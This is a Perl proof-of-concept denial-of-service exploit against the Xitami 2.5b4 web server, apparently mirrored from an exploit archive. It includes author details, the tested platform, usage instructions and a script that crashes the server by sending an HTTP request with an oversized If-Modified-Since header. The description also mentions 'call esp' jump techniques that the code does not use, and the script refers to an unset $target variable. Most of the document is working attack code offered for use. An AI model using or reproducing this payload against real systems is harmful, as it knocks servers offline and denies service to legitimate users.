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## https://sploitus.com/exploit?id=PACKETSTORM:176833
#!/usr/bin/perl  
  
use IO::Socket::INET;  
  
# Exploit Title: Xitami 2.5b4 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 29 january 2024  
# Vendor Homepage: https://imatix-legacy.github.io/xitami.com/  
# Download to demo: https://drive.google.com/file/d/1hOVDRvk0KlZbHM4HeNhvhlbETbmQVEsf/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Xitami 2.5b4   
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=Sxe6HIhAl4A  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to webserver.  
#The following request sends a large amount of data to the webserver to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "\t ==> Connecting to webserver... \n\n";  
sleep(1);  
  
$exploit = "A"*939;  
  
if ($socket = IO::Socket::INET->new  
(PeerAddr => $ip,  
PeerPort => $port,   
Proto => "TCP"))  
  
{   
$header =  
"GET / HTTP/1.1\r\n".  
"Host: ".$target." \r\n".  
"If-Modified-Since: AAAAAAAAAAAAA "." $exploit\r\n";  
  
print $socket $header."\r\n";  
sleep(1);  
close($socket);  
}  
  
else  
{  
print "[-] Connection to $target failed!\n";  
}   
  
  
  
print "\t ==> Done! Exploited!";  
sub intro {  
print q {  
  
  
_________  
| |  
| Exploit |==( ) //////  
|_________| ||| | o o|   
||| ( c ) ____  
||| \= / || \_  
|||||| || |  
|||||| ...||__/|-"  
|||||| __|________|__  
||| |______________|  
||| || || || ||  
||| || || || ||  
------------|||-------------||-||------||-||-------  
|__> || || || ||   
  
[+] Xitami 2.5b4 - Denial of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: fernando.mengalli@gmail.com  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print "\n\tUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}